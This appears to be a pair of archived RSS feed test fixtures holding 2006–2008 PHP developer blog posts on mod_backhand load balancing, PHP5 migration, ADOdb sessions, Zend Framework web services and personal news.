implementation. Mod_backhand is a load-balancing and clustering solution that runs on Apache. Let's say you have 3 web servers that you need to load balance in a cluster. When a server goes down, it will auto-detect that server is down and route subsequent http requests to other servers. You can buy a load-balancing box such as Cisco Redirector, or roll your own package using Linux, Apache 1.3 and mod_backhand. <p> The mod_backhand load balancer is basically a Linux system with Apache 1.3 (httpds) with the mod_backhand patches installed. The load-balancer also supports redirects and https. Load balancing uses the Apache virtual directory mechanism, so you can configure different load balancing behaviour for different applications on a directory basis. <p> The nice thing about mod_backhand is that it autodetects servers going up and down in the cluster, with no additional configuration required. All web servers in the cluster need to broadcast that they are alive and available on the cluster at regular intervals. So if you want to add another web server to the cluster, you just need to install the backhand broadcasting service and start it on the server, and the load balancer will pick it up. CPU and load information is also broadcast to the load balancer, so the load balancer can make an intelligent guess as to which web server to pass the http request to. <p> There are some issues that you need to be aware of: <ul> <li>No support of https on the internal network. Communications between the web browser and load-balancer can use https but not between load-balancer and web server. So if you have confidential information and you don't trust your internal network, you need to setup another layer of encryption on top of that (e.g. SSH tunnel). That's what we did for our login system. <li>The load balancer, like any other system in the network, becomes another point of failure. If you want total redundancy, one method is to have multiple mod_backhand load balancers, and round-robin DNS the load balancers. <li>AFAIK, automatic failover to another server of a http request if the 1st web server goes down is not supported. <li>There is Windows support (for the web servers in the cluster, not as a load-balancer) thanks to Rob Butler, but you currently need Visual C++ expertise as the binary "NT Backhand Broadcaster" doesn't work out of the box anymore with mod_backhand. There are patches in CVS but no existing binary download. As a service to the community, I have compiled my own: <a href=http://phplens.com/lens/dl/ntbhb-john-21-Dec-07.zip>NT Backhand Broadcaster</a>. <li>Keep-Alives reduce the availability of the load balancer, as web clients can lock a mod_backhand process for unreasonable amounts of time. You need to change your Keep-Alives on to a low value (eg. 1 second), and if possible, move your static HTML and images to the load balancer (which is just Apache after all). <li>Your web page URLs need to be relative URLs of course. The one exception is https, which needs to use the address of the load-balancer. </ul> <p><b>Additional Windows Notes</b> The Windows Registry settings for Backhand Broadcaster are a bit obscure. Here is a sample config: <p> <pre> HKEY_LOCAL_MACHINE\SOFTWARE\CerebraSoft] [HKEY_LOCAL_MACHINE\SOFTWARE\CerebraSoft\Backhand_Broadcast] "Arriba"=dword:28213950 "numCPU"=dword:00000002 [HKEY_LOCAL_MACHINE\SOFTWARE\CerebraSoft\Backhand_Broadcast\BroadcastParams] "HostName"="Windows Server 1 BHB" "ContactIP"="192.168.0.121" "SendIP"="192.168.0.255" "SendPort"=dword:0000115d "ContactPort"=dword:00000050 "SendTTL"=dword:00000001 </pre> <p>The ContactIP is the IP address of my Windows server running BHB: 192.168.0.121 The SendIP is the broadcast IP for the subnet (not the IP address of the load-balancer). <p>Sometimes the first time you run NT Backhand Broadcaster, it will fail to calculate Arriba (a benchmark measuring the power of your server) and just die. You need to manually enter the Arriba value yourself in the registry. Just use the above example value if you aren't sure what to do. <p>The load-balancer provides a page to check out the status of all servers in the cluster, typically http://load-balancing-server/backhand/ <p>Lastly, if you still cannot get it working, check out the Windows Event Log (Applications), as errors and status messages are logged there. Fri, 21 Dec 2007 04:22:11 -0500 Bye Bye PHP4 http://phplens.com/phpeverywhere/?q=node/view/240 <p>Matt of WordPress fame gives his <a href=http://photomatt.net/2007/07/13/on-php/>opinion on PHP4 and the transition to PHP5</a>. As he says: <p> <blockquote> None of the most requested features for WordPress would be any easier (or harder) if they were written for PHP 4 or 5 or Python. They’d just be different. The hard part usually has little to do with the underlying server-side language. </blockquote> <p> Very true. Most of our code continues to run fine on both PHP 4 and 5, with hardly any checking of PHP_VERSION. Migrating from PHP4 to PHP5 has been relatively painless (each time we port an application, we spend at most half a day fixing warnings that didn't appear in PHP4). <p> Matt asks why the takeup of PHP5 been so low, and is quite disparaging to the PHP internals devs. I don't see it in such black and white terms. PHP5 never had a feature that was must-have or to-die-for. In fact, if you look at PHP's recent changes, most of them are performance improvements, or fixing past mistakes (adding proper date support for example in 5.2.1), or feature tweaks (iterators, etc). Given that most PHP4 developers have found workarounds to things fixed in PHP5, migrating to PHP5 is probably a low priority. <p> Also some fixes in PHP5 can cause serious problems. For example, In PHP 5.2.0, time-zone calculations started to support epochs, which are time-changing events. Now my timezone was +7.30 GMT until 1980, when we got a new Prime Minister who decreed that the country would combine its 2 time-zones to 1, so Malaysia standardised on +8.00 GMT. A timestamp such as "12.10am Nov 12, 1979 MYT" in PHP 5.1 would be displayed as "11.40pm Nov 11, 1979 MYT" in PHP 5.2. <p> On a more optimistic note, as long as the market share of PHP remains strong, I think the take-up rate of PHP6 will probably be higher than PHP5 in the non-English world, simply because managing multi-lingual and sites that don't use ASCII for their native script is much easier in Unicode. Now that's a compelling reason! Mon, 23 Jul 2007 08:22:52 -0400 A big Pfutt to Windows Vista http://phplens.com/phpeverywhere/?q=node/view/239 <p>Peter Gutmans, a noted security expert talks about <a href=http://www.cs.auckland.ac.nz/~pgut001/pubs/vista_cost.html>Windows Vista Content Protection</a>. Quite disturbing and saddening. I'm about to buy a notebook for my mum, and all the one's I'm looking at have Vista preinstalled. Pfutt. <blockquote> <p>Beyond the obvious playback-quality implications of deliberately degraded output, this measure can have serious repercussions in applications where high-quality reproduction of content is vital. Vista's content-protection means that video images of premium content can be subtly altered, and there's no safe way around this — Vista will silently modify displayed content under certain (almost impossible-to-predict in advance) situations discernable only to Vista's built-in content-protection subsystem. </blockquote> Thu, 22 Feb 2007 00:18:43 -0500 Stefan Esser ruminates on PHP Security http://phplens.com/phpeverywhere/?q=node/view/238 <p>Stefan Esser, one of the foremost PHP security gurus in the world is <a href=http://www.securityfocus.com/columnists/432>interviewed in Security Focus</a>. He's also well known for disagreeing with the PHP Group (that oversees PHP Core development) about the way PHP security issues are treated. Disturbing in more ways than one. Wed, 07 Feb 2007 21:31:09 -0500 The Shape of Future Processors? http://phplens.com/phpeverywhere/?q=node/view/237 <p>I read this article on CPU trends <a href=http://www.hpcwire.com/hpc/1209133.html>Converging Design Features in CPUs and GPUs</a>. Matthew Papakipos writes: <blockquote> <p>Where are both CPU and GPU designs converging? <li> <li> Both processors will be massively multi-core –- think hundreds of cores -- within a five-year period. <li> Both processors will have complex memory hierarchies, with programmer managed core-local memories and core-local hardware-managed cache. (My own belief is that hardware-managed cache will decrease substantially in importance.) <li> Memories will be strongly non-uniform with significant latency and throughput differences between local and non-local memory. <li> Accelerators that can offer substantial speedups for specific tasks, either integrated on-chip or available via a HyperTransport-type interconnect, will be ubiquitous. </ol> </blockquote> <p>I'm more interested in modern CPUs trends and their relation to PHP, and not GPUs. Here are some of my thoughts: <p>Well PHP running in pre-fork mode on Apache or FastCGI on IIS/Apache should have no problems handling massively multi-core architectures, assuming the cores are uniform in design. <p>As to complex memory hierarchies, we already have to handle the different latencies in <i>harddisk -> harddisk cache -> cpu data/instruction caches</i>. We always had the option of caching data on a hard disk or RAM disk, and some PHP Accelerators already give you the option of caching data in shared memory -- I just see it as more of the same for PHP developers. Things get more interesting for PHP compiler and opcode cache designers as they will have more options for caching PHP opcodes and data. <p>What is interesting is the possibility of hardware acceleration of PHP. To me, it's not likely that any CPU vendor will come up with a hardware accelerator for PHP, but a CPU accelerator for .NET or java opcodes is a strong possibility. Thus in the long run, .NET or java compilers for PHP (and Python and Perl) could become mainstream. <p> Mon, 22 Jan 2007 01:50:25 -0500 My experience moving to PHP5 http://phplens.com/phpeverywhere/?q=node/view/235 <p> In August of this year, we decided to move from PHP4 to PHP5 for all our future PHP development. The transition was relatively painless, as the core libraries we use (<a href=http://adodb.sourceforge.net/>ADOdb</a>, <a href=http://phplens.com/>PHPLens</a>, some <a href=http://pear.php.net/>PEAR</a> modules) are already PHP5 compliant and have been for some time. What's nice about PHP5 is that it caught some errors that have been lingering in our code: PHP5 no longer allows a function to be defined twice, and some basic variable referencing errors that we missed previously. <p> We have ported our key web applications over to run on PHP5, but for some key customers with extremely large PHP4 code bases, we felt it was safer to keep them running on PHP4 for the time being as the cost of migration would be high; and we weren't sure whether it was worth it as the customers seem to be happy with PHP4's current performance. <p> Other things that we have changed is that we have transitioned to using XMLHttpRequest for all our Ajax calls. Formerly we were using the excellent <a href=http://www.ashleyit.com/rs>JSRS library</a>, but I can already see most programmers we hire in the future will be more familiar with XMLHttpRequest than JSRS. The nice thing about using XMLHttpRequest is that all XMLHttpRequests can be debugged using the excellent <a href=http://addons.mozilla.org/firefox/1843/>Firebug</a>, a Firefox/Mozilla extension that is extremely useful for Javascript debugging. <p> I admit we are still retrograde when it comes to exploiting PHP5's new functionality. Last month, we had to do a presentation so we moved our PHP5 web application to a notebook. Later I found out that notebook only had PHP4 installed. The web application worked flawlessly. <p> <img src=http://phplens.com/phpeverywhere/icons/bet9mil.gif> Sun, 03 Dec 2006 00:50:47 -0500 In praise of Zend Core http://phplens.com/phpeverywhere/?q=node/view/234 <p> Hi I'm back. Been busy. I will try to relate some of my experiences in the last few months in later blogs. <p> I'd like to point out that one of the greatest services to the PHP community that Zend is providing is the free <a href=http://www.zend.com/products/zend_core/zend_core_for_oracle>Zend Core for Oracle</a> and <a href=http://www.zend.com/products/zend_core/zend_core_for_ibm>Zend Core for DB2</a>. The latest versions install PHP 5.1.6. The little known secret is that these 2 installers are perfect for MySQL as the mysql and mysqli extensions are included in the release. <p> Zend Core is the installer I would recommend to setup PHP in a Windows IIS environment because it has support for FastCGI with IIS. FastCGI is the only scalable and safe way of running PHP on IIS, because not all PHP extensions are thread-safe and there are global locks in multi-threaded mode that hurt PHP performance if don't use FastCGI. <p> The only minuses is that Zend Core currently doesn't include the postgresql extension, and you have to compile in extensions which are not included in the release. <p> <img src=http://phplens.com/phpeverywhere/icons/jayne.gif> Tue, 28 Nov 2006 12:53:17 -0500 New Improved Yummy ADOdb Session Handler http://phplens.com/phpeverywhere/?q=node/view/233 <p><a href=http://adodb.sourceforge.net/>ADOdb</a>, the database library i maintain, has had support for storing session data in a database for a long time. However there was one limitation that always continued to bug me: the fact that all the PHP servers using database-backed sessions needed to synchronize their times to ensure that the session timers worked properly. <p>Well in the latest version of ADOdb (4.91), released a few days ago, we have the new Session2 implementation. This time, we always use the database server clock to keep track of times. We no longer rely on the PHP app servers to set the session timers, so even if the clocks of these app servers are out of synch, sessions are not affected. This change required us to change the database table format used, but that is a small price to pay for the added flexibility. You can read more in the <a href=http://phplens.com/lens/adodb/docs-session.htm>ADOdb session docs</a>. <p> Usage is really simple: <pre> include_once("adodb/session/adodb-session2.php"); ADOdb_Session::config($driver='mysql', $host, $user, $password, $database,$options=false); session_start(); </pre> <p> <img src=http://phplens.com/phpeverywhere/icons/57.gif> Fri, 04 Aug 2006 00:00:11 -0400 Partitioned Iteration in Enterprise Frameworks http://phplens.com/phpeverywhere/?q=node/view/232 <p>Just heard that Bill Gates is retiring from Microsoft. I guess he's achieved every possible goal he had, and it's downhill from here ;-) <p> I always enjoy reading Roger Sessions work on designing scalable software infrastructure. He's a Java framework expert who has become a .NET advocate. Roger has written a very interesting white paper on <a href=http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dnbda/html/sessfin00.asp>A Better Path to Enterprise Architectures</a>. It's a rehash of the <a href=http://en.wikipedia.org/wiki/KISS_Principle>KISS principle</a> and small is beautiful, taken from a software designer's perspective. <p> If that sounds pretty dull to you, read the fighter pilot analogy Roger brings up, where he talks about Mig-15 and F-86 dogfights. Stirring stuff. Fri, 16 Jun 2006 07:25:20 -0400 Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-pixelated-dreams.com-feeds-index.rss20000664000175000017500000015056112653701626030010 0ustar janjan Davey Shafik's Pixelated Dreams http://pixelated-dreams.com/ As close to my brain as you can safely get en Serendipity 1.3.1 - http://www.s9y.org/ davey@php.net davey@php.net Fri, 11 Jul 2008 11:54:04 GMT http://pixelated-dreams.com/templates/default/img/s9y_banner_small.png RSS: Davey Shafik's Pixelated Dreams - As close to my brain as you can safely get http://pixelated-dreams.com/ 100 21 Progress http://pixelated-dreams.com/archives/265-Progress.html http://pixelated-dreams.com/archives/265-Progress.html#comments http://pixelated-dreams.com/wfwcomment.php?cid=265 2 http://pixelated-dreams.com/rss.php?version=2.0&type=comments&cid=265 davey@pixelated-dreams.com (Davey Shafik) <p>OK, so... exercising is <strong>hard</strong>.</p> <p>For the first few rides on my new bike, I took it outside, eschewing my trainer for some asphalt... and also because the tires that came with the bike were simply too deeply treaded to use on the trainer.</p> <p>I did about a mile each time, several revolutions round the few blocks around my house. The heat definitely takes it's toll very quickly.</p> <p>Now i've picked up some semi-slick tires, which have an (almost) smooth middle-section and tred on the outer edges so it can still be used outside. (Similar to <a href="http://www.nashbar.com/profile.cfm?category=6000121&amp;subcategory=60001249&amp;brand=&amp;sku=8742&amp;storetype=&amp;estoreid=&amp;pagename=Shop%20by%20Subcat%3A%2026x1%2E0%20to%2026x1%2E75" onclick="window.open(this.href, '_blank'); return false;">this</a>).</p> <p>I'm now cycling 2 miles each time (though admittedly, I should be doing it at least every other night, right now it's every 4 days or so). I think I've finally got the trainer setup nicely, to where there is almost no friction on the lowest setting, and it's right at the top of my strength on the highest (5th) setting. I typically leave it at the 5th, because I find that it's not the strength required that makes it tiresome, it's the number of revolutions.</p> <p>I'm also looking at the <a href="http://hundredpushups.com/" onclick="window.open(this.href, '_blank'); return false;">One Hundred Pushups Challenge</a>, though my upper body strength is already good, and is mostly what I work out in the pool. I don't see pushups contributing much to weight loss (compared to say, swimming or cycling), it would just be cool to complete the challenge.</p> <p>- Davey</p> <p>P.S.<br /> I hate changing tires/innertubes with a <strong>passion</strong></p> Mon, 07 Jul 2008 02:42:10 -0500 http://pixelated-dreams.com/archives/265-guid.html cycling exercise personal pushups weight loss Moving to the Cloud http://pixelated-dreams.com/archives/264-Moving-to-the-Cloud.html PHP http://pixelated-dreams.com/archives/264-Moving-to-the-Cloud.html#comments http://pixelated-dreams.com/wfwcomment.php?cid=264 3 http://pixelated-dreams.com/rss.php?version=2.0&type=comments&cid=264 davey@pixelated-dreams.com (Davey Shafik) <p>After lots of thinking, I've decided that I'm going to move all my sites to <a href="http://mosso.com" onclick="window.open(this.href, '_blank'); return false;">Mosso cloud hosting</a>.</p> <p>Frankly, it's just too much work to maintain my own systems, and Mosso is $30/month cheaper than my dedicated server. In addition, as things grow for me, I think Mosso will prove to be a much more scalable proposition; including being able to have them handle support and billing of my clients.</p> <p>I moved <a href="http://zceguide.com" onclick="window.open(this.href, '_blank'); return false;">the ZCE Guide</a> site over there last night and it was just so easy, I figured, what the hell may as well do the big move and push over my blog.</p> <p>I was able to use the mysql command line client to push a SQL dump directly from my current server to Mosso's server(s) and after a lengthy (30+MB) upload and a config tweak, it just worked. Very impressed with Mosso so far <img src="http://pixelated-dreams.com/templates/default/img/emoticons/smile.png" alt=":-)" style="display: inline; vertical-align: bottom;" class="emoticon" /></p> <p>Just need to find a way to combine all my mailboxes into one. It looks like forwarding might be the best option.</p> <p>If you're seeing this post, then your DNS already updated and you're looking at the new site, yay for you!</p> <p>- Davey</p> Thu, 03 Jul 2008 02:49:50 -0500 http://pixelated-dreams.com/archives/264-guid.html awesome cloud hosting easy mosso Happy Birthday To Me! http://pixelated-dreams.com/archives/263-Happy-Birthday-To-Me!.html http://pixelated-dreams.com/archives/263-Happy-Birthday-To-Me!.html#comments http://pixelated-dreams.com/wfwcomment.php?cid=263 2 http://pixelated-dreams.com/rss.php?version=2.0&type=comments&cid=263 davey@pixelated-dreams.com (Davey Shafik) <p>Well, on May 31st, I'm turning 24; going from early-twenties to mid-twenties. So. old. <img src="http://pixelated-dreams.com/templates/default/img/emoticons/sad.png" alt=":-(" style="display: inline; vertical-align: bottom;" class="emoticon" /></p> <p>To combat the aging, I've bought myself an awesome birthday gift, well, several:</p> <ul> <li>A <a href="http://www.giant-bicycles.com/en-US/bikes/mountain/1262/29304/" onclick="window.open(this.href, '_blank'); return false;">Giant Boulder SE 2008</a> mountain bike (Aluminum frame, 21 gears/quickshift shimano, v-brakes, front suspension.)</li> <li>A <a href="http://www.nashbar.com/profile.cfm?category=6000123&amp;subcategory=60001087&amp;brand=&amp;sku=18859&amp;storetype=&amp;estoreid=&amp;pagename=Shop%20by%20Subcat%3A%20Trainers%20and%20Rollers" onclick="window.open(this.href, '_blank'); return false;">Nashbar Adjustable Fluid Trainer</a> to allow me to use it inside during the heat of the summer/thunderstorms/hurricanes</li> <li>A <a href="http://www.amazon.com/gp/product/B0016HCIB0" onclick="window.open(this.href, '_blank'); return false;">Polar F5 Heart Rate Monitor Watch</a></li> <li>A <a href="http://www.amazon.com/gp/product/B000AO9R8C" onclick="window.open(this.href, '_blank'); return false;">Planet Protégé Cyclocompter w/temperature monitor</a> and <a href="http://www.amazon.com/gp/product/B000AO7JQ4" onclick="window.open(this.href, '_blank'); return false;">rear-wheel mounting kit</a> (necessary with the trainer!)</li> </ul> <p>I also bought myself the first (?) four books in the Ender's Game series.</p> <p>Why did I buy this particular set of equipment? First, I had a 1999-2000 Boulder Giant back in the UK, and I absolutely loved it for my school commute (~2miles/day) and for messing around on (ever seen a mountain bike on a half-pipe? yeah... did that).</p> <p>Secondly, I was looking at exercise bikes, because I honestly didn't think I'd be inclined to cycle out in the FL heat (~105F in the summer) but was unhappy that with an exercise bike I wouldn't be able to go out with it <strong>at all</strong>. My co-worker mentioned I could get a trainer, and it seems to be the best of both worlds, though I'm spending ~$600 instead of $350-400 with the separate cyclocomputer/HRM etc, I think being able to just unhook it and go out when I want to is worth it.</p> <p>Also, many thanks to the folks on IRC, particularly Emma from #phpwomen for the advice over the last week <img src="http://pixelated-dreams.com/templates/default/img/emoticons/smile.png" alt=":-)" style="display: inline; vertical-align: bottom;" class="emoticon" /></p> <p>My goal (which I am stating publically in the hopes that it will motivate me to stick to it) is to be riding 10 miles/day by the end of the summer, and to lose at <strong>least</strong> 60lbs, preferably 80lbs (though not necessarily by the end of the summer <img src="http://pixelated-dreams.com/templates/default/img/emoticons/smile.png" alt=":-)" style="display: inline; vertical-align: bottom;" class="emoticon" />. In contrast, my personal best, is 330 miles over 5 weeks, when I was still in high-school, which averages to ~9.5miles/day.</p> <p>- Davey</p> <p>(pssst; <a href="http://www.amazon.com/gp/registry/wishlist/28NB6QOZQ9QKP" onclick="window.open(this.href, '_blank'); return false;">my wishlist</a> is publicly available. nudge nudge.)</p> Mon, 26 May 2008 04:07:10 -0500 http://pixelated-dreams.com/archives/263-guid.html birthday buy me presents cycling health Blech http://pixelated-dreams.com/archives/262-Blech.html http://pixelated-dreams.com/archives/262-Blech.html#comments http://pixelated-dreams.com/wfwcomment.php?cid=262 0 http://pixelated-dreams.com/rss.php?version=2.0&type=comments&cid=262 davey@pixelated-dreams.com (Davey Shafik) <p>So, I'm sorta back. I found an ancient backup of this site from October 2006. I also have a copy (thanks Helgi!) of anything that hit <a href="http://planet-php.org" onclick="window.open(this.href, '_blank'); return false;">Planet PHP</a>, so when I get some time I'll push that stuff back into the DB.</p> <p>My other sites (zceguide.com, for example) will slowly but surely come back online as time goes by.</p> <p>- Davey<br /> P.S.<br /> Hard drives suck. Royally.</p> Thu, 22 May 2008 06:27:04 -0500 http://pixelated-dreams.com/archives/262-guid.html don't forget your backups php server died ZCEGuide.com Deadline Fast Approaching http://pixelated-dreams.com/archives/261-ZCEGuide.com-Deadline-Fast-Approaching.html PHP Writing Zend Framework http://pixelated-dreams.com/archives/261-ZCEGuide.com-Deadline-Fast-Approaching.html#comments http://pixelated-dreams.com/wfwcomment.php?cid=261 0 http://pixelated-dreams.com/rss.php?version=2.0&type=comments&cid=261 davey@pixelated-dreams.com (Davey Shafik) <p>For those of you who want to participate in the <a href="http://zceguide.com" onclick="window.open(this.href, '_blank'); return false;">ZCEGuide.com</a> Zend Framework Proposal <a href="http://zceguide.com#competition" onclick="window.open(this.href, '_blank'); return false;">competition</a>, the deadline of October 31st is fast approaching.</p> <p>So be sure to <a href="mailto:entries@zceguide.com" onclick="window.open(this.href, '_blank'); return false;">enter</a> today!</p> <p>- Davey</p> Tue, 24 Oct 2006 01:36:37 -0500 http://pixelated-dreams.com/archives/261-guid.html competition php zend certification study guide zend framework php|tek 2007 Announced http://pixelated-dreams.com/archives/259-phptek-2007-Announced.html PHP http://pixelated-dreams.com/archives/259-phptek-2007-Announced.html#comments http://pixelated-dreams.com/wfwcomment.php?cid=259 0 http://pixelated-dreams.com/rss.php?version=2.0&type=comments&cid=259 davey@pixelated-dreams.com (Davey Shafik) <p><a href="http://phparch.com" onclick="window.open(this.href, '_blank'); return false;">php|architect</a> has announced the <a href="http://phparch.com/tek" onclick="window.open(this.href, '_blank'); return false;">php|tek 2007 conference</a> which will be held in Chicago, May 16th-18th, 2007. php|architect conferences, if you have never been, are an absolute blast. I went to php|works in Toronto in '05, and php|tek in Orlando this past April, and the people and the facilities, and of course the talks and the beer are first rate <img src="http://pixelated-dreams.com/templates/default/img/emoticons/smile.png" alt=":-)" style="display: inline; vertical-align: bottom;" class="emoticon" /></p> <p>If, like me, you haven't been to Chicago, you might be wondering &quot;WTH is in Chicago?!&quot;, well, it is the third largest city in the US (population) and apparently has a wonderful selection of Museums, a great Zoo, and the the highest density of &quot;Frank Lloyd Wright&quot; homes in the US. On top of that, its on Lake Michigan, and is accessible via the second most busy airport in the US, &quot;Chicago O'Hare Airport&quot;, so you can probably get a direct flight from most anywhere in North America (2.5hrs from Tampa -&gt; Chicago, $193/per adult; American Airlines @ <a href="http://expedia.com" onclick="window.open(this.href, '_blank'); return false;">expedia.com</a>).</p> <p>I will be submitting papers, and hopefully be presenting there, if not I will most likely go just to hang out anyhow <img src="http://pixelated-dreams.com/templates/default/img/emoticons/smile.png" alt=":-)" style="display: inline; vertical-align: bottom;" class="emoticon" /></p> <p>- Davey</p> Sun, 22 Oct 2006 23:10:08 -0500 http://pixelated-dreams.com/archives/259-guid.html beer chicago conference php|architect php|tek 2007 Why Don't I blog much anymore? http://pixelated-dreams.com/archives/258-Why-Dont-I-blog-much-anymore.html General http://pixelated-dreams.com/archives/258-Why-Dont-I-blog-much-anymore.html#comments http://pixelated-dreams.com/wfwcomment.php?cid=258 0 http://pixelated-dreams.com/rss.php?version=2.0&type=comments&cid=258 davey@pixelated-dreams.com (Davey Shafik) <p>I know some people think I've forgotten my blog, but nothing could be further from the truth. There is however, a good reason I don't blog so much anymore, let me try to explain:</p> <p>I don't have good stuff to blog about. Since the inception of my blog, I've tried to blog good stuff, that is, stuff that explains something new I came across, that I think a lot of people don't know (those &quot;Ah-hah!&quot; moments), or stuff that teaches people stuff I take for granted. For the last few months, I have been so busy at work, working on a new minor (major.minor.micro) version, with some very complex new features. But whilst the features are complex, they isn't anything ground-breaking (though the UI is awesome), so nothing to blog there. On top of that, the only project I was working on outside of work, was <a href="http://zceguide.com" onclick="window.open(this.href, '_blank'); return false;">my book</a>.</p> <p>Now I am working on Web Services for the Zend Framework, but its so simple to use, there's only so much to blog there <img src="http://pixelated-dreams.com/templates/default/img/emoticons/smile.png" alt=":-)" style="display: inline; vertical-align: bottom;" class="emoticon" /></p> <p>So thats why I'm not blogging so much anymore. There are however several projects on the horizon, that should be very interesting, so I will be blogging more - just bear with me. <img src="http://pixelated-dreams.com/templates/default/img/emoticons/smile.png" alt=":-)" style="display: inline; vertical-align: bottom;" class="emoticon" /></p> <p>- Davey</p> Sat, 21 Oct 2006 19:06:05 -0500 http://pixelated-dreams.com/archives/258-guid.html Announcement: Zend PHP 5 Certification Study Guide http://pixelated-dreams.com/archives/253-Announcement-Zend-PHP-5-Certification-Study-Guide.html PHP Writing http://pixelated-dreams.com/archives/253-Announcement-Zend-PHP-5-Certification-Study-Guide.html#comments http://pixelated-dreams.com/wfwcomment.php?cid=253 1 http://pixelated-dreams.com/rss.php?version=2.0&type=comments&cid=253 davey@pixelated-dreams.com (Davey Shafik) <p>I am very proud and delighted to be able to tell you all that <a href="http://phparch.com" onclick="window.open(this.href, '_blank'); return false;">php|architect</a> has now released the &quot;<a href="http://www.phparch.com/shop_product.php?itemid=135" onclick="window.open(this.href, '_blank'); return false;">php|architect's Zend PHP 5 Certification Study Guide</a>&quot;.</p> <p>The reason I am so truly happy about this, is because, I, with help from Ben Ramsey, wrote the book. This is the reason behind my recent absence. It has been an excellent opportunity for me, and though it was hard work, it was still a lot of fun.</p> <p><p style='text-align: center;'><a href='http://www.phparch.com/shop_product.php?itemid=135'><img src='http://zceguide.com/images/book_ie.png' title='Buy the Zend PHP 5 Certification Study Guide Now!' /></a></p></p> <p>But, this isn't all, to accompany the book, I have also released <a href="http://zceguide.com" onclick="window.open(this.href, '_blank'); return false;">ZCEGuide.com</a>, the official book site. The best thing about this, as far as you're concerned, is that we are holding a competition to win, not just a copy of the book but a whole host of other prizes. We have 1 copy of Zend Studio Professional, 1 signed copy of the book, 2 exam vouchers (which entitles two people to take the exam once at no cost!), and 3 1 year subscriptions to <a href="http://phparch.com" onclick="window.open(this.href, '_blank'); return false;">php|architect</a>.</p> <p>All you have to do, is participate in the <a href="http://framework.zend.com" onclick="window.open(this.href, '_blank'); return false;">Zend Framework</a>. In particular, new idea proposals. Our panel of judges will evaluate all of the proposals submitted and will pick 3 winners who will share the loot mentioned above.</p> <p>For more information on the book, the authors, a sample chapter and of course, the competition, head to <a href="http://zceguide.com" onclick="window.open(this.href, '_blank'); return false;">ZCEGuide.com</a>.</p> <p>And don't forget, <a href="http://www.phparch.com/shop_product.php?itemid=135" onclick="window.open(this.href, '_blank'); return false;">buy the book!</a> - if you win, I'll pay you back for it - can't get fairer than that! <img src="http://pixelated-dreams.com/templates/default/img/emoticons/laugh.png" alt=":-D" style="display: inline; vertical-align: bottom;" class="emoticon" /></p> <p>- Davey</p> Thu, 05 Oct 2006 20:42:00 -0500 http://pixelated-dreams.com/archives/253-guid.html certification guide php prizes study guide zceguide zend zend php 5 certification More Web Services http://pixelated-dreams.com/archives/251-More-Web-Services.html PHP Zend Framework http://pixelated-dreams.com/archives/251-More-Web-Services.html#comments http://pixelated-dreams.com/wfwcomment.php?cid=251 0 http://pixelated-dreams.com/rss.php?version=2.0&type=comments&cid=251 davey@pixelated-dreams.com (Davey Shafik) <p>I have been working closely with <a href="http://weierophinney.net/matthew/" onclick="window.open(this.href, '_blank'); return false;">Matthew Weier O'Phinney</a> for the last week on bringing my <a href="http://framework.zend.com/wiki/display/ZFPROP/Zend_Service_Server+Proposal+-+Davey+Shafik" onclick="window.open(this.href, '_blank'); return false;">Zend_Service_Server</a> proposal to fruition.</p> <p>There have been several changes, but the core has not moved too far. Matthew, Andi and I have decided that we will first implement the different server/client libraries, that is:</p> <ul> <li>Zend_Rest_Server and Zend_Rest_Client</li> <li>Zend_XmlRpc_Server and Zend_XmlRpc_Client (already released)</li> </ul> <p>In addition to this, there will be a major WSDL supplement for the SOAP extension, this includes:</p> <ul> <li>Zend_Soap_Wsdl - Generic WSDL creation, manual calls to create a custom WSDL</li> <li>Zend_Soap_Wsdl_Parser - WSDL Parser</li> <li>Zend_Soap_Wsdl_CodeGenerator (name pending) - WSDL -&gt; PHP Code Skeleton</li> <li>Zend_Soap_AutoDiscover - Following the same API as the servers above, this will allow you to automatically generate WSDL from a PHP class or functions.</li> </ul> <p>The core to all of these is found under Zend_Server, these are:</p> <ul> <li>Zend_Server_Reflection - PHP Class and Function Reflection, including docblock parses and the ability to serialize for caching</li> <li>Zend_Server_Interface - Make a compatible Server of your own</li> <li>Zend_Server_Abstract - Some stuff you'll almost always need in a server</li> </ul> <p>Furthermore, as an exercise today I spent an entire 20 minutes implementing <tt>Zend_Json_Server</tt> which works in the same way, register any normal class or functions and any responses will be returned as JSON. What this means is it is now super easy to deploy and utilize Server to Server SOAP/XML-RPC/REST services, and also Client to Server JSON or REST services - all with very little work. Code Re-use is definitely utilized to the maximum here.</p> <p>We are still working out the finalities with <tt>Zend_Server_Reflection</tt> and also the <tt>Zend_Service_Server</tt> replacement, that is the unified API that will automatically dispatch to any of these services.</p> <p>The final part of this will be the automated HTML documentation, based on the reflection. This will be optional to expose (defaults to on), but a great way to simply code and forget. Documentation is probably the single most important part of an external API - if nobody knows how to use it, well, then it's just pointless.</p> <p>This is very exciting for me, I hope others will see this a major step forward for &quot;Enterprise&quot; solutions.</p> <p>- Davey</p> Mon, 02 Oct 2006 01:09:00 -0500 http://pixelated-dreams.com/archives/251-guid.html json php rest web services zend framework A Note To Rob Levin... http://pixelated-dreams.com/archives/249-A-Note-To-Rob-Levin....html http://pixelated-dreams.com/archives/249-A-Note-To-Rob-Levin....html#comments http://pixelated-dreams.com/wfwcomment.php?cid=249 0 http://pixelated-dreams.com/rss.php?version=2.0&type=comments&cid=249 davey@pixelated-dreams.com (Davey Shafik) <p>Most people will know you as Lilo, founder of Freenode IRC and PDPC. I knew you as a friend. We spent not enough nights talking over too many subjects, including open source and life philosophy, business practices and general BS.</p> <p>I just wanted to let you know how much your actions have effected my life to date.</p> <p>In 1997, before it was called Freenode, and before I knew what Open Source was, I found myself wanting to learn PHP, and stumbled into the (then) #PHP channel. This was a fortuitous choice, as it has allowed me to grow in ways far beyond the simple programming I have learned.</p> <p>Through the relationships I have made there, I have been shaped as a person. From the quirky, off-beat humor to the sub-gutter strata that my brain resides in, to the quick thinking and alternative analytical mind, #PHP has been a major factor.</p> <p>Because of the knowledge I have gained on Freenode, and no doubt the personality traits I mentioned above, I have in recent years fulfilled many life-long goals. I met and married my wonderful wife, moved to Florida, inherited too many (really, is that possible?!) cats and have the things I want in life. To top that off, I have a first class job, using those exact same skills on a daily basis.</p> <p>None of that would have been possible without you, and your ideas, your attitude and inability to give up - even when the whole world seemed against you.</p> <p>I know your family, the community and I will miss you for a long time to come; now all we can do is try to remember what you have given us and try to use that to further your ideas, for the better of the community.</p> <p>R.I.P.</p> <p>- Davey</p> Tue, 26 Sep 2006 22:31:12 -0500 